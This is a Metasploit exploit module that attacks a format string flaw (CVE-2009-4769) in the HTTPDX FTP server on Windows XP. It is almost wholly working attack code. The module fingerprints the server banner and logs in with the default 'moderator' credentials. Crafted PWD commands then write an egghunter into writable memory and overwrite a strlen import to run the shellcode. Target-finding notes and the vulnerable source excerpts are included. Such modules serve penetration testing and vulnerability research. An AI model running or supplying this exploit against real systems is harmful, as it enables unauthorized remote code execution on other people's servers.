##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Egghunter
  include Msf::Exploit::FormatString

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HTTPDX tolog() Function Format String Vulnerability',
        'Description' => %q{
          This module exploits a format string vulnerability in HTTPDX FTP server.
          By sending a specially crafted FTP command containing format specifiers, an
          attacker can corrupt memory and execute arbitrary code.

          By default logging is off for HTTP, but enabled for the 'moderator' user
          via FTP.
        },
        'Author' => [
          'jduck' # original discovery and metasploit module
        ],
        'References' => [
          [ 'CVE', '2009-4769' ],
          [ 'OSVDB', '60181' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process'
        },
        'Privileged' => true,
        'Payload' => {
          # format string max length
          'Space' => 1024,
          'BadChars' => "\x00\x0a\x0d\x25",
          'DisableNops'	=> true,
          'StackAdjustment' => -1500
        },
        'Platform' => 'win',
        'Targets' => [
          #
          # Automatic targeting via fingerprinting
          #
          [ 'Automatic Targeting', { 'auto' => true } ],

          #
          # specific targets
          #
          [
            'httpdx 1.4 - Windows XP SP3 English',
            {
              'NumPops' => 37,
              'Writable' => 0x64f87810,	# empty space in core.dll imports
              'FlowHook'	=> 0x64f870e8	# core.dll import for strlen
            }
          ],
          [
            'httpdx 1.4.5 - Windows XP SP3 English',
            {
              'NumPops' => 37,
              'Writable' => 0x64f87810,	# empty space in core.dll imports
              'FlowHook'	=> 0x64f870e8	# core.dll import for strlen
            }
          ],
          [
            'httpdx 1.4.6 - Windows XP SP3 English',
            {
              'NumPops' => 37,
              'Writable' => 0x64f87810,	# empty space in core.dll imports
              'FlowHook'	=> 0x64f870e8	# core.dll import for strlen
            }
          ],
          [
            'httpdx 1.4.6b - Windows XP SP3 English',
            {
              'NumPops' => 37,
              'Writable' => 0x64f87810,	# empty space in core.dll imports
              'FlowHook'	=> 0x64f870e8	# core.dll import for strlen
            }
          ],
          [
            'httpdx 1.5 - Windows XP SP3 English',
            {
              'NumPops' => 29,
              'Writable' => 0x64f87810,	# empty space in core.dll imports
              'FlowHook'	=> 0x64f870e8	# core.dll import for strlen
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-11-17',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
=begin

NOTE: Even though all targets have the same addresses now, future targets may not.

To find a target:

1. open "core.dll" in IDA Pro
2. navigate to the "c_wildcmp" function
3. follow the xref to the first strlen
4. follow the xref to the imports area
5. copy/paste the address
6. the 'Writable' value should be anything after the last address IDA shows..
  (preferably something above 0x0d, to avoid bad chars)

If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
For now, that will have to be done manually.

=end
    register_options(
      [
        Opt::RPORT(21),
        # note the default user/pass
        OptString.new('FTPUSER', [ true, 'The username to authenticate as', 'moderator'], fallbacks: ['USERNAME']),
        OptString.new('FTPPASS', [ true, 'The password to authenticate with', 'pass123'], fallbacks: ['PASSWORD'])
      ]
    )
  end

  def check
    connect
    disconnect
    vprint_status("FTP Banner: #{banner}".strip)
    if banner =~ /httpdx.*\(Win32\)/
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    # Use a copy of the target
    mytarget = target

    if (target['auto'])
      mytarget = nil

      print_status("Automatically detecting the target...")
      connect
      disconnect

      if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then
        print_status("FTP Banner: #{banner.strip}")
        version = m[1]
      else
        print_status("No matching target")
        return
      end

      self.targets.each do |t|
        if (t.name =~ /#{version} - /) then
          mytarget = t
          break
        end
      end

      if (not mytarget)
        print_status("No matching target")
        return
      end

      print_status("Selected Target: #{mytarget.name}")
    else
      print_status("Trying target #{mytarget.name}...")
    end

    # proceed with chosen target...
    c = connect_login
    return if not c

    # '<ip>\n PWD '
    ip_length = Rex::Socket.source_address(datastore['RHOST']).length
    num_start = ip_length + 1 + 3 + 1

    # use the egghunter!
    eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

    # write shellcode to 'writable' (all at once)
    fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
    print_status(" payload format string buffer is #{fmtbuf.length} bytes")
    if (res = send_cmd(['PWD', fmtbuf ], true))
      print_status(res.strip)
    end

    # write 'writable' addr to flowhook (execute shellcode)
    # NOTE: the resulting two writes must be done at the same time
    fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)

    # add payload to the end
    fmtbuf << eh_egg
    print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
    if (res = send_cmd(['PWD', fmtbuf ], true))
      print_status(res.strip)
    end

    disconnect
    handler

    # connect again to trigger shellcode
    print_status(" triggering shellcode now")
    print_status("Please be patient, the egg hunter may take a while...")
    connect
  end
end

=begin

also present in 1.5 (presumably all versions in between)

1.4/httpdx_src/ftp.cpp:

   544      //printf(out);
   545      char af[MAX] = {0};
   546      if(isset(out) && client->serve.log || client->serve.debug)
   547          snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);
   548      if(isset(out) && client->serve.log)
   549          tolog(client->serve.accessl,af);
   550      if(isset(out) && client->serve.debug)
   551          printf(af);

1.4/httpdx_src/http.cpp:

   172      char af[MAX] = {0};
   173      if(client.serve.log || client.serve.debug)
   174          snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);
   175      if(client.serve.log)
   176          tolog(client.serve.accessl,af);
   177      if(client.serve.debug)
   178          printf(af);

=end
